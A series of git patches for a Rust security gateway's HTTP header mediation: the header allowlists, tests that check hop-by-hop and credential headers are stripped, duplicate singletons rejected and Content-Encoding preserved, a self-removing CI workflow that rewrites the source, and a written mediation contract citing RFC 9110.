+                .header(CONTENT_TYPE, "application/json")
+                .header("content-encoding", "gzip")
+                .header("connection", "x-hop-secret")
+                .header("x-hop-secret", "must-not-forward")
+                .body(Body::from(REQUEST_GZIP_JSON))
+                .expect("coded buyer request"),
+        )
+        .await
+        .expect("gateway must answer coded buyer request");
+    assert_eq!(response.status(), StatusCode::OK);
+
+    let headers = capture
+        .request_headers
+        .lock()
+        .await
+        .clone()
+        .expect("loopback upstream must receive request");
+    assert_eq!(
+        headers
+            .get("content-encoding")
+            .and_then(|value| value.to_str().ok()),
+        Some("gzip"),
+        "coded representation bytes must not cross without their Content-Encoding metadata"
+    );
+    assert!(headers.get("connection").is_none());
+    assert!(headers.get("x-hop-secret").is_none());
+
+    let body = capture
+        .request_body
+        .lock()
+        .await
+        .clone()
+        .expect("loopback upstream must receive request body");
+    assert_eq!(body.as_ref(), REQUEST_GZIP_JSON);
+
+    upstream_task.abort();
+}
+
+#[tokio::test]
+async fn response_preserves_content_encoding_with_byte_identical_representation() {
+    let (app, _capture, upstream_task) = gateway_with_coded_upstream().await;
+
+    let response = app
+        .oneshot(
+            Request::builder()
+                .method(Method::GET)
+                .uri("/gateway/coded/v1/coded")
+                .body(Body::empty())
+                .expect("coded response buyer request"),
+        )
+        .await
+        .expect("gateway must answer coded response buyer request");
+    assert_eq!(response.status(), StatusCode::OK);
+    assert_eq!(
+        response
+            .headers()
+            .get("content-encoding")
+            .and_then(|value| value.to_str().ok()),
+        Some("gzip"),
+        "coded response bytes must not cross without their Content-Encoding metadata"
+    );
+    assert!(response.headers().get("connection").is_none());
+    assert!(response.headers().get("x-hop-secret").is_none());
+
+    let body = to_bytes(response.into_body(), 1024)
+        .await
+        .expect("coded response body must remain readable");
+    assert_eq!(body.as_ref(), RESPONSE_GZIP_JSON);
+
+    upstream_task.abort();
+}

From a24065743b6697a91e16a1be54e62f8dc79d95d0 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 16:06:12 +0900
Subject: [PATCH 22/29] fix(ci): settle mediation synthesis clippy root causes

---
 .../wardnet-gateway-mediation-synthesis.yml     | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index 2e29981a..dda8f909 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -76,7 +76,8 @@ jobs:
 
           proxy_start = source.index("async fn proxy_request(\n")
           target_start = source.index("\npub fn upstream_target(\n", proxy_start)
-          replacement = r'''async fn proxy_request(
+          replacement = r'''#[cfg(test)]
+          async fn proxy_request(
               state: &AppState,
               route: &RouteConfig,
               method: &Method,
@@ -134,12 +135,19 @@ jobs:
           assert source.count("mod gateway_mediation;") == 1
           assert source.count("gateway_mediation::admit_request_headers(&headers)") == 1
           assert source.count("gateway_mediation::admit_response_headers(response.headers())") == 1
+          assert source.count("#[cfg(test)]\n          async fn proxy_request(") == 1
           assert source.count("async fn proxy_request_with_headers(") == 1
           assert ".headers(request_headers)" in source
           assert "StatusCode::BAD_REQUEST" in source[source.index("async fn gateway("):source.index("fn client_ip_from_headers")]
           assert "upstream response rejected" in source
 
           Path('src/lib.rs').write_text(source)
+
+          mediation_path = Path('src/gateway_mediation.rs')
+          mediation = mediation_path.read_text()
+          unused_import = "    use std::str::FromStr;\n"
+          assert mediation.count(unused_import) == 1, mediation.count(unused_import)
+          mediation_path.write_text(mediation.replace(unused_import, "", 1))
           PY
 
       - name: Format synthesized source
@@ -151,8 +159,9 @@ jobs:
           cp -a src "$scratch/src"
           rustfmt +stable --edition 2024 "$scratch/src/lib.rs"
           cp "$scratch/src/lib.rs" src/lib.rs
+          cp "$scratch/src/gateway_mediation.rs" src/gateway_mediation.rs
           git diff --check
-          test "$(git diff --name-only)" = "src/lib.rs"
+          test "$(git diff --name-only | sort)" = $'src/gateway_mediation.rs\nsrc/lib.rs'
 
       - name: Prove hostile mediation locally
         shell: bash
@@ -166,10 +175,10 @@ jobs:
         shell: bash
         run: |
           set -euo pipefail
-          test "$(git diff --name-only)" = "src/lib.rs"
+          test "$(git diff --name-only | sort)" = $'src/gateway_mediation.rs\nsrc/lib.rs'
           git rm .github/workflows/wardnet-gateway-mediation-synthesis.yml
           git config user.name "github-actions[bot]"
           git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
-          git add src/lib.rs
+          git add src/gateway_mediation.rs src/lib.rs
           git commit -m "fix(gateway): enforce bounded header mediation"
           git push origin HEAD:test/440-gateway-header-mediation-red

From 4b938342ec1bc7f8dd2a1001cfcdf6a0136ccbca Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 19:05:10 +0900
Subject: [PATCH 23/29] fix(ci): match synthesized proxy function indentation

---
 .github/workflows/wardnet-gateway-mediation-synthesis.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index dda8f909..86d66f26 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -135,7 +135,7 @@ jobs:
           assert source.count("mod gateway_mediation;") == 1
           assert source.count("gateway_mediation::admit_request_headers(&headers)") == 1
           assert source.count("gateway_mediation::admit_response_headers(response.headers())") == 1
-          assert source.count("#[cfg(test)]\n          async fn proxy_request(") == 1
+          assert source.count("#[cfg(test)]\nasync fn proxy_request(") == 1
           assert source.count("async fn proxy_request_with_headers(") == 1
           assert ".headers(request_headers)" in source
           assert "StatusCode::BAD_REQUEST" in source[source.index("async fn gateway("):source.index("fn client_ip_from_headers")]

From 3ec25d1bb440b163cd3f1ae2ef92ae5b1167caed Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
 <41898282+github-actions[bot]@users.noreply.github.com>
Date: Wed, 23 Sep 2026 12:36:24 +0000
Subject: [PATCH 24/29] fix(gateway): enforce bounded header mediation

---
 .../wardnet-gateway-mediation-synthesis.yml   | 184 ------------------
 src/gateway_mediation.rs                      |  16 +-
 src/lib.rs                                    |  39 +++-
 3 files changed, 49 insertions(+), 190 deletions(-)
 delete mode 100644 .github/workflows/wardnet-gateway-mediation-synthesis.yml

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
deleted file mode 100644
index 86d66f26..00000000
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ /dev/null
@@ -1,184 +0,0 @@
-name: Wardnet gateway mediation synthesis repair
-
-on:
-  push:
-    branches:
-      - test/440-gateway-header-mediation-red
-    paths:
-      - .github/workflows/wardnet-gateway-mediation-synthesis.yml
-
-permissions:
-  contents: write
-
-jobs:
-  synthesize:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout exact branch
-        uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262
-        with:
-          fetch-depth: 0
-
-      - name: Set up Rust toolchain
-        uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30
-        with:
-          toolchain: stable
-
-      - name: Guard repair input
-        shell: bash
-        run: |
-          set -euo pipefail
-          git cat-file -e 853f468c46697c39c29bd1342c097f33939c618e^{commit}
-          git cat-file -e 11e7fabfca76e0051fa883905228a0dbe472f4df^{commit}
-          git merge-base --is-ancestor 11e7fabfca76e0051fa883905228a0dbe472f4df 853f468c46697c39c29bd1342c097f33939c618e
-          git merge-base --is-ancestor 853f468c46697c39c29bd1342c097f33939c618e HEAD
-          test "$(git diff --name-only 853f468c46697c39c29bd1342c097f33939c618e..HEAD)" = ".github/workflows/wardnet-gateway-mediation-synthesis.yml"
-
-      - name: Synthesize bounded gateway mediation into complete source
-        shell: bash
-        run: |
-          set -euo pipefail
-          git show 853f468c46697c39c29bd1342c097f33939c618e:src/lib.rs > /tmp/predecessor-lib.rs
-          python3 - <<'PY'
-          from pathlib import Path
-
-          source = Path('/tmp/predecessor-lib.rs').read_text()
-
-          old = "mod coraza_audit;\nmod credentials;\nmod kev_import;"
-          new = "mod coraza_audit;\nmod credentials;\nmod gateway_mediation;\nmod kev_import;"
-          assert source.count(old) == 1, source.count(old)
-          source = source.replace(old, new, 1)
-
-          old = "    if route.upstream.starts_with(\"mock://\") {"
-          new = '''    let admitted_request_headers = match gateway_mediation::admit_request_headers(&headers) {
-              Ok(headers) => headers,
-              Err(message) => return error(StatusCode::BAD_REQUEST, message),
-          };
-
-          if route.upstream.starts_with("mock://") {'''
-          assert source.count(old) == 1, source.count(old)
-          source = source.replace(old, new, 1)
-
-          old = "    match proxy_request(&state, &route, &method, gateway_path, uri.query(), body).await {"
-          new = '''    match proxy_request_with_headers(
-              &state,
-              &route,
-              &method,
-              gateway_path,
-              uri.query(),
-              admitted_request_headers,
-              body,
-          )
-          .await
-          {'''
-          assert source.count(old) == 1, source.count(old)
-          source = source.replace(old, new, 1)
-
-          proxy_start = source.index("async fn proxy_request(\n")
-          target_start = source.index("\npub fn upstream_target(\n", proxy_start)
-          replacement = r'''#[cfg(test)]
-          async fn proxy_request(
-              state: &AppState,
-              route: &RouteConfig,
-              method: &Method,
-              path: &str,
-              query: Option<&str>,
-              body: Bytes,
-          ) -> Result {
-              proxy_request_with_headers(
-                  state,
-                  route,
-                  method,
-                  path,
-                  query,
-                  HeaderMap::new(),
-                  body,
-              )
-              .await
-          }
-
-          async fn proxy_request_with_headers(
-              state: &AppState,
-              route: &RouteConfig,
-              method: &Method,
-              path: &str,
-              query: Option<&str>,
-              request_headers: HeaderMap,
-              body: Bytes,
-          ) -> Result {
-              let target = upstream_target(route, path, query)?;
-              let method = reqwest::Method::from_bytes(method.as_str().as_bytes())
-                  .expect("axum HTTP methods are valid reqwest HTTP methods");
-              let response = state
-                  .http
-                  .request(method, target)
-                  .headers(request_headers)
-                  .body(body)
-                  .send()
-                  .await
-                  .map_err(|error| format!("upstream request failed: {error}"))?;
-              let status = StatusCode::from_u16(response.status().as_u16())
-                  .expect("reqwest upstream status codes are valid axum status codes");
-              let admitted_response_headers = gateway_mediation::admit_response_headers(response.headers())
-                  .map_err(|message| format!("upstream response rejected: {message}"))?;
-              let bytes = response
-                  .bytes()
-                  .await
-                  .map_err(|error| format!("upstream body read failed: {error}"))?;
-              let mut response = (status, bytes).into_response();
-              *response.headers_mut() = admitted_response_headers;
-              Ok(response)
-          }
-          '''
-          source = source[:proxy_start] + replacement + source[target_start:]
-
-          assert source.count("mod gateway_mediation;") == 1
-          assert source.count("gateway_mediation::admit_request_headers(&headers)") == 1
-          assert source.count("gateway_mediation::admit_response_headers(response.headers())") == 1
-          assert source.count("#[cfg(test)]\nasync fn proxy_request(") == 1
-          assert source.count("async fn proxy_request_with_headers(") == 1
-          assert ".headers(request_headers)" in source
-          assert "StatusCode::BAD_REQUEST" in source[source.index("async fn gateway("):source.index("fn client_ip_from_headers")]
-          assert "upstream response rejected" in source
-
-          Path('src/lib.rs').write_text(source)
-
-          mediation_path = Path('src/gateway_mediation.rs')
-          mediation = mediation_path.read_text()
-          unused_import = "    use std::str::FromStr;\n"
-          assert mediation.count(unused_import) == 1, mediation.count(unused_import)
-          mediation_path.write_text(mediation.replace(unused_import, "", 1))
-          PY
-
-      - name: Format synthesized source
-        shell: bash
-        run: |
-          set -euo pipefail
-          scratch="$(mktemp -d)"
-          trap 'rm -rf "$scratch"' EXIT
-          cp -a src "$scratch/src"
-          rustfmt +stable --edition 2024 "$scratch/src/lib.rs"
-          cp "$scratch/src/lib.rs" src/lib.rs
-          cp "$scratch/src/gateway_mediation.rs" src/gateway_mediation.rs
-          git diff --check
-          test "$(git diff --name-only | sort)" = $'src/gateway_mediation.rs\nsrc/lib.rs'
-
-      - name: Prove hostile mediation locally
-        shell: bash
-        run: |
-          set -euo pipefail
-          cargo +stable test --locked --test gateway_header_mediation
-          cargo +stable test --locked --lib
-          cargo +stable clippy --locked --all-targets --all-features -- -D warnings
-
-      - name: Commit causal source repair and remove helper
-        shell: bash
-        run: |
-          set -euo pipefail
-          test "$(git diff --name-only | sort)" = $'src/gateway_mediation.rs\nsrc/lib.rs'
-          git rm .github/workflows/wardnet-gateway-mediation-synthesis.yml
-          git config user.name "github-actions[bot]"
-          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
-          git add src/gateway_mediation.rs src/lib.rs
-          git commit -m "fix(gateway): enforce bounded header mediation"
-          git push origin HEAD:test/440-gateway-header-mediation-red
diff --git a/src/gateway_mediation.rs b/src/gateway_mediation.rs
index 14f2bc2c..ac1d0410 100644
--- a/src/gateway_mediation.rs
+++ b/src/gateway_mediation.rs
@@ -36,7 +36,9 @@ fn reject_oversized_app_metadata(source: &HeaderMap) -> Result<(), String> {
     let total = source
         .get_all(APP_METADATA_HEADER)
         .iter()
-        .fold(0usize, |size, value| size.saturating_add(value.as_bytes().len()));
+        .fold(0usize, |size, value| {
+            size.saturating_add(value.as_bytes().len())
+        });
     if total > APP_METADATA_MAX_BYTES {
         return Err(format!(
             "gateway header {APP_METADATA_HEADER} exceeds {APP_METADATA_MAX_BYTES} bytes"
@@ -51,7 +53,11 @@ fn connection_nominations(source: &HeaderMap) -> Result, Str
         let raw = value
             .to_str()
             .map_err(|_| "gateway Connection header must be visible ASCII".to_string())?;
-        for token in raw.split(',').map(str::trim).filter(|token| !token.is_empty()) {
+        for token in raw
+            .split(',')
+            .map(str::trim)
+            .filter(|token| !token.is_empty())
+        {
             let name = HeaderName::from_bytes(token.as_bytes())
                 .map_err(|_| format!("gateway Connection nomination {token:?} is invalid"))?;
             nominated.insert(name);
@@ -79,7 +85,6 @@ fn admit_allowlisted(source: &HeaderMap, allowed: &[&'static str]) -> Result headers,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+
     if route.upstream.starts_with("mock://") {
         return (
             StatusCode::OK,
@@ -2549,7 +2555,17 @@ async fn gateway(
             .into_response();
     }
 
-    match proxy_request(&state, &route, &method, gateway_path, uri.query(), body).await {
+    match proxy_request_with_headers(
+        &state,
+        &route,
+        &method,
+        gateway_path,
+        uri.query(),
+        admitted_request_headers,
+        body,
+    )
+    .await
+    {
         Ok(response) => response,
         Err(message) => error(StatusCode::BAD_GATEWAY, message),
     }
@@ -2569,6 +2585,7 @@ fn client_ip_from_headers(headers: &HeaderMap) -> Option {
         .and_then(|value| value.parse().ok())
 }
 
+#[cfg(test)]
 async fn proxy_request(
     state: &AppState,
     route: &RouteConfig,
@@ -2576,6 +2593,18 @@ async fn proxy_request(
     path: &str,
     query: Option<&str>,
     body: Bytes,
+) -> Result {
+    proxy_request_with_headers(state, route, method, path, query, HeaderMap::new(), body).await
+}
+
+async fn proxy_request_with_headers(
+    state: &AppState,
+    route: &RouteConfig,
+    method: &Method,
+    path: &str,
+    query: Option<&str>,
+    request_headers: HeaderMap,
+    body: Bytes,
 ) -> Result {
     let target = upstream_target(route, path, query)?;
     let method = reqwest::Method::from_bytes(method.as_str().as_bytes())
@@ -2583,17 +2612,23 @@ async fn proxy_request(
     let response = state
         .http
         .request(method, target)
+        .headers(request_headers)
         .body(body)
         .send()
         .await
         .map_err(|error| format!("upstream request failed: {error}"))?;
     let status = StatusCode::from_u16(response.status().as_u16())
         .expect("reqwest upstream status codes are valid axum status codes");
+    let admitted_response_headers =
+        gateway_mediation::admit_response_headers(response.headers())
+            .map_err(|message| format!("upstream response rejected: {message}"))?;
     let bytes = response
         .bytes()
         .await
         .map_err(|error| format!("upstream body read failed: {error}"))?;
-    Ok((status, bytes).into_response())
+    let mut response = (status, bytes).into_response();
+    *response.headers_mut() = admitted_response_headers;
+    Ok(response)
 }
 
 pub fn upstream_target(

From 68fc8ed6e6b9644d3406f0bf0c31113e7c1b76e0 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 22:06:33 +0900
Subject: [PATCH 25/29] docs(security): specify gateway header mediation
 contract

---
 docs/security/gateway-header-mediation.md | 39 +++++++++++++++++++++++
 1 file changed, 39 insertions(+)
 create mode 100644 docs/security/gateway-header-mediation.md

diff --git a/docs/security/gateway-header-mediation.md b/docs/security/gateway-header-mediation.md
new file mode 100644
index 00000000..7b76607f
--- /dev/null
+++ b/docs/security/gateway-header-mediation.md
@@ -0,0 +1,39 @@
+# Gateway header mediation contract
+
+Status: candidate security contract for PR #441; not released or authoritative on the protected branch until that PR is merged.
+
+Wardnet owns the generic gateway/SOC mediation boundary. This contract is deliberately narrower than an HTTP-transparent proxy: it preserves only application metadata required by the buyer path and rejects or removes transport, framing, management, and proxy authority that must not cross the gateway trust boundary. Egress authorization, sandbox isolation, LLM routing, and application guardrail semantics remain with their canonical owner repositories.
+
+## Request boundary
+
+The generic gateway admits only `Content-Type`, `Accept`, and bounded `X-Wardnet-App-Meta` values to the routed upstream. `X-Admin-Token`, `Authorization`, cookies, proxy credentials, client-supplied forwarding identity, `Host`, framing fields, upgrades, and other unlisted fields are not forwarded.
+
+`Content-Type` and `X-Admin-Token` are treated as security-relevant singletons at this boundary. Duplicate instances fail closed with `400 Bad Request`. The aggregate byte length of `X-Wardnet-App-Meta` is capped at 16,384 bytes before route-upstream contact. Any field nominated by `Connection` is removed even if that field would otherwise be admitted.
+
+This follows RFC 9110 section 7.6.1: an intermediary must parse `Connection`, remove every field named by a connection option, and remove `Connection` itself before forwarding. The allowlist is an intentional Wardnet policy restriction rather than an attempt to redefine HTTP semantics.
+
+## Response boundary
+
+Wardnet reconstructs the downstream response from an explicit response allowlist. The current candidate admits `Content-Type`, bounded `X-Wardnet-App-Meta`, `Location`, `Retry-After`, and `WWW-Authenticate`; it does not reflect `Connection`, fields named by `Connection`, proxy-authentication fields, upgrades, cookies, or other unadmitted authority.
+
+An invalid admitted upstream header envelope fails closed as `502 Bad Gateway`. `Content-Type` is currently enforced as a singleton. Response-singleton hardening for `Location` and `Retry-After` is tracked separately so this PR does not silently expand its causal scope: RFC 9110 sections 10.2.2 and 10.2.3 define each with a single field value grammar.
+
+`Content-Encoding` is representation metadata under RFC 9110 section 8.4, not hop-by-hop metadata. It is therefore a separate follow-on acceptance gap rather than something Wardnet may drop while relaying coded bytes. Transparent decompression is not an acceptable shortcut unless every affected representation field is transformed consistently.
+
+## Acceptance evidence
+
+The hostile buyer suite in `tests/gateway_header_mediation.rs` must exercise a real loopback upstream, not a mocked header helper alone. GREEN requires all of the following on one exact head:
+
+- admitted request media type, content negotiation, and bounded repeated application metadata survive the gateway;
+- duplicated management credentials, duplicated request `Content-Type`, and oversized application metadata fail before the routed upstream receives the request;
+- `Host`, framing authority, credentials, cookies, proxy authority, forwarding identity, upgrades, and dynamically connection-nominated fields do not cross the request boundary;
+- admitted upstream representation metadata survives the response boundary while fixed and dynamically nominated hop-by-hop/security authority does not;
+- repository CI, fuzzing, security/SAST/CodeQL governance, coverage/rustdoc evidence, buyer-path latency evidence, and parent/base compatibility are reacquired for the exact candidate head.
+
+A workflow result that is queued, `action_required`, skipped without jobs, or attached to a predecessor SHA is not transferable GREEN evidence.
+
+## References
+
+Fielding, R., Nottingham, M., & Reschke, J. (2022). *HTTP semantics* (RFC 9110). RFC Editor. https://www.rfc-editor.org/rfc/rfc9110
+
+Fielding, R., Nottingham, M., & Reschke, J. (2022). *HTTP/1.1* (RFC 9112). RFC Editor. https://www.rfc-editor.org/rfc/rfc9112

From 29a35163fc5bab860f247a68a6b1d5f797d73182 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Thu, 24 Sep 2026 02:05:15 +0900
Subject: [PATCH 26/29] fix(gateway): reject ambiguous singleton responses

---
 src/gateway_mediation.rs | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

diff --git a/src/gateway_mediation.rs b/src/gateway_mediation.rs
index ac1d0410..a2e49b4e 100644
--- a/src/gateway_mediation.rs
+++ b/src/gateway_mediation.rs
@@ -21,6 +21,8 @@ pub(crate) fn admit_request_headers(source: &HeaderMap) -> Result Result {
     reject_duplicate(source, "content-type")?;
+    reject_duplicate(source, "location")?;
+    reject_duplicate(source, "retry-after")?;
     reject_oversized_app_metadata(source)?;
     admit_allowlisted(source, RESPONSE_ALLOWED)
 }
@@ -164,11 +166,16 @@ mod tests {
     }
 
     #[test]
-    fn response_policy_rejects_duplicate_type_and_oversized_metadata() {
-        let mut duplicate_type = HeaderMap::new();
-        duplicate_type.append("content-type", HeaderValue::from_static("text/plain"));
-        duplicate_type.append("content-type", HeaderValue::from_static("application/json"));
-        assert!(admit_response_headers(&duplicate_type).is_err());
+    fn response_policy_rejects_duplicate_singletons_and_oversized_metadata() {
+        for name in ["content-type", "location", "retry-after"] {
+            let mut duplicate = HeaderMap::new();
+            duplicate.append(name, HeaderValue::from_static("first"));
+            duplicate.append(name, HeaderValue::from_static("second"));
+            assert!(
+                admit_response_headers(&duplicate).is_err(),
+                "duplicate {name} must fail closed"
+            );
+        }
 
         let mut oversized = HeaderMap::new();
         oversized.insert(

From 8a254028faf4db0485ba8710945c2781a876fbed Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Thu, 24 Sep 2026 05:37:13 +0900
Subject: [PATCH 27/29] test(gateway): rustfmt content-encoding RED fixture

---
 tests/gateway_content_encoding.rs | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/tests/gateway_content_encoding.rs b/tests/gateway_content_encoding.rs
index 593b330a..c9ba1cb1 100644
--- a/tests/gateway_content_encoding.rs
+++ b/tests/gateway_content_encoding.rs
@@ -21,14 +21,13 @@ use tower::ServiceExt;
 use waf_ids_ai_soc::{AppState, build_app};
 
 const REQUEST_GZIP_JSON: &[u8] = &[
-    0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xab, 0x56, 0x2a, 0x28,
-    0xca, 0x4f, 0x4a, 0x55, 0xb2, 0x2a, 0x29, 0x2a, 0x4d, 0xad, 0x05, 0x00, 0xa9, 0x27,
-    0x1b, 0xbb, 0x0e, 0x00, 0x00, 0x00,
+    0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xab, 0x56, 0x2a, 0x28, 0xca, 0x4f,
+    0x4a, 0x55, 0xb2, 0x2a, 0x29, 0x2a, 0x4d, 0xad, 0x05, 0x00, 0xa9, 0x27, 0x1b, 0xbb, 0x0e, 0x00,
+    0x00, 0x00,
 ];
 const RESPONSE_GZIP_JSON: &[u8] = &[
-    0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xab, 0x56, 0xca, 0xcf,
-    0x56, 0xb2, 0x2a, 0x29, 0x2a, 0x4d, 0xad, 0x05, 0x00, 0x90, 0x5f, 0xd4, 0xa7, 0x0b,
-    0x00, 0x00, 0x00,
+    0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xab, 0x56, 0xca, 0xcf, 0x56, 0xb2,
+    0x2a, 0x29, 0x2a, 0x4d, 0xad, 0x05, 0x00, 0x90, 0x5f, 0xd4, 0xa7, 0x0b, 0x00, 0x00, 0x00,
 ];
 
 #[derive(Clone, Default)]

From b8b5804b655a424967252d8ac22172eb4a1338fb Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Thu, 24 Sep 2026 05:47:52 +0900
Subject: [PATCH 28/29] test(gateway): isolate duplicate Location mediation

---
 tests/gateway_response_singleton_mediation.rs | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/tests/gateway_response_singleton_mediation.rs b/tests/gateway_response_singleton_mediation.rs
index f0cc085a..d3a2eabc 100644
--- a/tests/gateway_response_singleton_mediation.rs
+++ b/tests/gateway_response_singleton_mediation.rs
@@ -16,7 +16,11 @@ use tower::ServiceExt;
 use waf_ids_ai_soc::{AppState, build_app};
 
 async fn duplicate_location_response() -> Response {
-    let mut response = (StatusCode::FOUND, "ambiguous location").into_response();
+    // 201 exercises Location as representation/control metadata without invoking
+    // reqwest's redirect machinery, so this fixture isolates Wardnet's header
+    // mediation boundary instead of conflating it with EgressWeave-owned redirect
+    // authorization.
+    let mut response = (StatusCode::CREATED, "ambiguous location").into_response();
     response
         .headers_mut()
         .append("location", HeaderValue::from_static("/v1/items/first"));

From 16a0d0807692203dabc83823793dcefef087c661 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Thu, 24 Sep 2026 10:07:59 +0900
Subject: [PATCH 29/29] fix(gateway): preserve content encoding metadata

---
 src/gateway_mediation.rs | 35 +++++++++++++++++++++++++++++++++--
 1 file changed, 33 insertions(+), 2 deletions(-)

diff --git a/src/gateway_mediation.rs b/src/gateway_mediation.rs
index a2e49b4e..7f93cb0c 100644
--- a/src/gateway_mediation.rs
+++ b/src/gateway_mediation.rs
@@ -3,9 +3,15 @@ use std::collections::HashSet;
 
 const APP_METADATA_HEADER: &str = "x-wardnet-app-meta";
 const APP_METADATA_MAX_BYTES: usize = 16_384;
-const REQUEST_ALLOWED: &[&str] = &["content-type", "accept", APP_METADATA_HEADER];
+const REQUEST_ALLOWED: &[&str] = &[
+    "content-type",
+    "content-encoding",
+    "accept",
+    APP_METADATA_HEADER,
+];
 const RESPONSE_ALLOWED: &[&str] = &[
     "content-type",
+    "content-encoding",
     APP_METADATA_HEADER,
     "location",
     "retry-after",
@@ -92,6 +98,8 @@ mod tests {
     fn request_policy_preserves_only_bounded_allowlist_with_multiplicity() {
         let mut source = HeaderMap::new();
         source.append("content-type", HeaderValue::from_static("application/json"));
+        source.append("content-encoding", HeaderValue::from_static("gzip"));
+        source.append("content-encoding", HeaderValue::from_static("br"));
         source.append("accept", HeaderValue::from_static("application/json"));
         source.append(APP_METADATA_HEADER, HeaderValue::from_static("a"));
         source.append(APP_METADATA_HEADER, HeaderValue::from_static("b"));
@@ -99,6 +107,14 @@ mod tests {
 
         let admitted = admit_request_headers(&source).unwrap();
         assert_eq!(admitted.get("content-type").unwrap(), "application/json");
+        assert_eq!(
+            admitted
+                .get_all("content-encoding")
+                .iter()
+                .map(|value| value.to_str().unwrap())
+                .collect::>(),
+            ["gzip", "br"]
+        );
         assert_eq!(admitted.get("accept").unwrap(), "application/json");
         assert_eq!(admitted.get_all(APP_METADATA_HEADER).iter().count(), 2);
         assert!(admitted.get("authorization").is_none());
@@ -128,9 +144,14 @@ mod tests {
     fn connection_nominations_remove_otherwise_allowed_fields() {
         let mut source = HeaderMap::new();
         source.append(APP_METADATA_HEADER, HeaderValue::from_static("keep-out"));
-        source.append("connection", HeaderValue::from_static(APP_METADATA_HEADER));
+        source.append("content-encoding", HeaderValue::from_static("gzip"));
+        source.append(
+            "connection",
+            HeaderValue::from_static("x-wardnet-app-meta, content-encoding"),
+        );
         let admitted = admit_request_headers(&source).unwrap();
         assert!(admitted.get(APP_METADATA_HEADER).is_none());
+        assert!(admitted.get("content-encoding").is_none());
 
         let mut malformed = HeaderMap::new();
         malformed.append("connection", HeaderValue::from_bytes(&[0xff]).unwrap());
@@ -145,6 +166,8 @@ mod tests {
     fn response_policy_preserves_representation_metadata_and_strips_authority() {
         let mut source = HeaderMap::new();
         source.append("content-type", HeaderValue::from_static("application/json"));
+        source.append("content-encoding", HeaderValue::from_static("gzip"));
+        source.append("content-encoding", HeaderValue::from_static("br"));
         source.append(APP_METADATA_HEADER, HeaderValue::from_static("a"));
         source.append(APP_METADATA_HEADER, HeaderValue::from_static("b"));
         source.append("location", HeaderValue::from_static("/v1/items/42"));
@@ -158,6 +181,14 @@ mod tests {
 
         let admitted = admit_response_headers(&source).unwrap();
         assert_eq!(admitted.get("content-type").unwrap(), "application/json");
+        assert_eq!(
+            admitted
+                .get_all("content-encoding")
+                .iter()
+                .map(|value| value.to_str().unwrap())
+                .collect::>(),
+            ["gzip", "br"]
+        );
         assert!(admitted.get(APP_METADATA_HEADER).is_none());
         assert_eq!(admitted.get("location").unwrap(), "/v1/items/42");
         assert_eq!(admitted.get("retry-after").unwrap(), "5");